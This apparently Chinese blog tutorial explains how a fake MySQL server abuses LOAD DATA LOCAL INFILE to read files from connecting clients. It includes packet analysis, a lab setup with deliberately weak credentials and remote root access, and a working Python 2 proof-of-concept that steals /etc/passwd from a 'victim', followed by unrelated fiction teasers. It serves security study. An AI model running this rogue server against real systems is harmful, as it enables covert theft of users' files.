伪造mysql服务实现任意文件下载漏洞

这个问题主要是出在LOAD DATA INFILE这个语法上,这个语法主要是用于读取一个文件的内容并且放到一个表中。通常有两种用法,分别是:

load data infile "/etc/passwd" into table TestTable;
load data local infile "/etc/passwd" into table TestTable;

有时候也会与FIELDS TERMINATED BY '\n’一起使用,效果更佳。这两种用法的区别就是差了一个local,第一个 SQL 语句的意思是,读取服务器上/etc/passwd文件,并写入到TestTable中;第二个 SQL 语句的意思则是,读取本地(客户端)这边的/etc/passwd文件,并写入到TestTable中。而我们这次要利用的也就是LOAD DATA LOCAL INFILE这种形式。

通过查阅 MySQL 的官方文档,在文档上,官方也指出了这个语法的问题:


在这里插入图片描述

那么接下来,我们来看下如何构造一个恶意的 MySQL 服务端来读取客户端的文件。

环境准备

安装wireshark

安装Wireshark开发版,请添加资源:

sudo add-apt-repository ppa:dreibh/ppa

从存储库安装Wireshark:

sudo apt update
sudo apt -y install wireshark

当询问是否允许非超级用户捕获数据包时,请选择你的选项并完成安装


在这里插入图片描述

查看版本

wireshark --version

在这里插入图片描述

接着配置Wireshark,为了能够以普通用户身份捕获数据包,请将你的用户添加到wireshark组:

sudo usermod -a -G wireshark $USER

还要更改dumpcap二进制文件权限:

sudo chgrp wireshark /usr/bin/dumpcap
sudo chmod 750 /usr/bin/dumpcap
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

校验:

sudo getcap /usr/bin/dumpcap

image.png

万一上面权限配置没有成功,使用命令行sudo启动wireshark

sudo wireshark
#或后台执行,此时执行的sudo不能输密码
sudo nohup wireshark >> ./output.log 2>&1 &

使用第二条命令需注意,不能让sudo时效过期,否则在后台没发输密码。


在这里插入图片描述

安装mysql

安装mysql

#命令1
sudo apt-get update
#命令2
sudo apt-get install mysql-server=5.7.*

初始化配置mysql

sudo mysql_secure_installation

我的配置选择如下:

Securing the MySQL server deployment.

Connecting to MySQL using a blank password.

VALIDATE PASSWORD PLUGIN can be used to test passwords
and improve security. It checks the strength of password
and allows the users to set only those passwords which are
secure enough. Would you like to setup VALIDATE PASSWORD plugin?

Press y|Y for Yes, any other key for No: n
Please set the password for root here.

New password: 

Re-enter new password: 
By default, a MySQL installation has an anonymous user,
allowing anyone to log into MySQL without having to have
a user account created for them. This is intended only for
testing, and to make the installation go a bit smoother.
You should remove them before moving into a production
environment.

Remove anonymous users? (Press y|Y for Yes, any other key for No) : n

 ... skipping.

Normally, root should only be allowed to connect from
'localhost'. This ensures that someone cannot guess at
the root password from the network.

Disallow root login remotely? (Press y|Y for Yes, any other key for No) : n

 ... skipping.
By default, MySQL comes with a database named 'test' that
anyone can access. This is also intended only for testing,
and should be removed before moving into a production
environment.

Remove test database and access to it? (Press y|Y for Yes, any other key for No) : n

 ... skipping.
Reloading the privilege tables will ensure that all changes
made so far will take effect immediately.

Reload privilege tables now? (Press y|Y for Yes, any other key for No) : y
Success.

All done! 

检查mysql服务状态

systemctl status mysql.service

显示如下结果说明mysql服务是正常的:


在这里插入图片描述

配置远程访问
在Ubuntu下MySQL缺省是只允许本地访问的,使用workbench连接工具是连不上的;
如果你要其他机器也能够访问的话,需要进行配置;

sudo mysql -uroot -p

登入root进行其他设置:

GRANT ALL PRIVILEGES ON *.* TO root@localhost IDENTIFIED BY "123456";

image.png

不过root好像没发远程链接,还是创建普通用户吧,命令如下:

mysql> CREATE DATABASE test;
Query OK, 1 row affected (0.00 sec)

mysql> GRANT ALL PRIVILEGES ON test.* TO test@"%" IDENTIFIED BY "123456";
Query OK, 0 rows affected, 1 warning (0.00 sec)

漏洞分析

利用思路

配置mysql,

sudo vim /etc/mysql/my.cnf

两条命令作用分别是:1、忽略ssl;2、可远程链接

[mysqld]
skip_ssl
bind-address = 0.0.0.0

在这里插入图片描述

然后重启mysql

systemctl status mysql.service

开启wireshark,服务器ip和需要抓包的网卡如下


在这里插入图片描述

找另一台机器远程链接,另一台及其需要安装mysql客户端

mysql -h 10.211.55.7 -utest -p123456

1、greeting包,获取服务端的 banner;


在这里插入图片描述

2、登录请求包


在这里插入图片描述

初始化的一些查询,比如select @@version_comment limit 1之类的


在这里插入图片描述

服务端应答


在这里插入图片描述

执行如下命令,并抓包

CREATE TABLE test(`test` VARCHAR(1000) NOT NULL);
load data local infile "/etc/passwd" into TABLE test;
select * from test;

这里客户端和服务端就已经成功连接上了,接下来客户端请求load data infile。(如果无法使用LOAD DATA INFILE语法的话,考虑在连接 MySQL 的时候加上–enable-local-infile选项,或者设置local_infile全局变量为ON)


在这里插入图片描述

接下来服务端会发回一个文件确认:


在这里插入图片描述

然后客户端会把相应的本地文件发过来:


在这里插入图片描述

原理

load data的过程大概可以总结为:

客户端:hi,现在我把我的/etc/passwd文件插入test表格里
服务端:好的,把/etc/passwd文件发过来吧
客户端:好的,这是我的/etc/passwd文件

根据官方文档,客户端读取哪个文件是由服务端决定的,也就是说服务端发回哪个文件名,客户端就会读取哪个文件。

而对于这个请求,mysql并没有强制限制必须先由客户端发起load data,一个伪造的服务端可以在任何时候回复一个 file-transfer 请求,比如说最开始客户端请求初始化查询的时候。

这时的过程大概是:

客户端:hi,现在我要查询一下版本信息
服务端:好的,把/etc/passwd文件发过来吧
客户端:好的,这是我的/etc/passwd文件

构造

现在可以开始制作我们的服务端了,主要是以下几个步骤:

1、向 MySQL Client 发送Server Greeting
2、等待 Client 端发送一个Query Package
3、回复一个file transfer请求

现在要解决的就是两个问题,分别是Server Greeting包和file transfer包的格式,不过也不难,这些包的格式都可以在 MySQL 的官方文档上找到,首先来看File Transfer的包格式,Protocol::LOCAL_INFILE_Request,这幅图也可以发现,我们需要等待一个来自 Client 的查询请求,才能回复这个读文件的请求

在这里插入图片描述

官方文档上还贴心的准备了一个 Example:

0c 00 00 01 fb 2f 65 74    63 2f 70 61 73 73 77 64    ...../etc/passwd

数据包的内容其实是从\xfb开始的,这个字节代表包的类型,后面紧跟要读取的文件名。前面的0x0c是数据包的长度(从 \ xfb 开始计算),长度后面的三个字节\x00\x00\x01是数据包的序号。

同理,我们很容易就能根据这份文档获取Greeting的数据包结构。如果感觉自己伪造比较困难的话,可以直接提取前面通过 Wireshark 抓到的包,修改一下长度、文件名之类的字节即可。

这里给一个Greeting包的样例,每个字段的作用均已表明,参考文档不难理解。

'\x0a',  # Protocol
'6.6.6-lightless_Mysql_Server' + '\0',  # Version
'\x36\x00\x00\x00',  # Thread ID
'ABCDABCD' + '\0',  # Salt
'\xff\xf7',  # Capabilities, CLOSE SSL HERE!
'\x08',  # Collation
'\x02\x00',  # Server Status
"\x0f\x80\x15", 
'\0' * 10,  # Unknown
'ABCDABCD' + '\0',
"mysql_native_password" + "\0"

接下来就是动手写 PoC 了,如果不想自己动手,可以参考链接中的 PoC,或者使用下面的代码

#coding=utf-8 
# coding=utf-8
# python2
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

def main():
    filename = "/etc/passwd"
    sv = socket.socket()
    sv.bind(("", 3306))
    sv.listen(5)
    conn, address = sv.accept()
    logging.info('Conn from: %r', address)
    conn.sendall(
        "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
    conn.recv(9999)
    logging.info("auth okay")
    conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
    conn.recv(9999)
    logging.info("want file...")
    want_file = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
    conn.sendall(want_file)
    content = conn.recv(9999)
    logging.info(content)
    conn.close()

if __name__ == '__main__':
    main()

使用python2在服务器端运行上面脚本,模拟mysql服务器。
然后在受害者及其上进行链接

mysql -h 10.10.10.10 -utest -p123456

结果如下


在这里插入图片描述

一开始构造好的时候,用客户端去连接,总是提示 ERROR 2026 (HY000): SSL connection error: protocol version mismatch 或者 ERROR 2027 (HY000): Malformed packet。如果你在构造 PoC 的时候也出现了这种问题,很大可能是握手包构造的有问题,对照文档仔细检查。客户端默认是支持 SSL 的,服务端需要告诉客户端服务端不支持,我通过两次分别抓 “服务端支持 SSL” 和“服务端不支持 SSL”的包进行比对,再参考文档,找到了关闭 SSL 的方法,就是Capabilities这两个字节,\xf7 则表示不支持 SSL,如果不明白,抓个包比对一下就懂了。

仔细观察下图中的各种字段,避免踩坑。


在这里插入图片描述

其他payload参考:

https://github.com/allyshka/Rogue-MySql-Server
https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
https://github.com/yang8e/jdbc_mysql_redfile

参考:
https://lightless.me/archives/read-mysql-client-file.html
https://www.cnblogs.com/apossin/p/10127496.html
http://yangge.me/2020/10/09/jdbc%20mysql%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9D%91/

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 162,547评论 4 374
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 68,787评论 2 308
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 112,175评论 0 254
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,752评论 0 223
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 53,169评论 3 297
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 41,056评论 1 226
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 32,195评论 2 321
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,980评论 0 214
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,724评论 1 250
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,872评论 2 254
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,344评论 1 265
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,667评论 3 264
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,379评论 3 245
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,202评论 0 9
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,992评论 0 201
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 36,189评论 2 286
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,987评论 2 279

推荐阅读更多精彩内容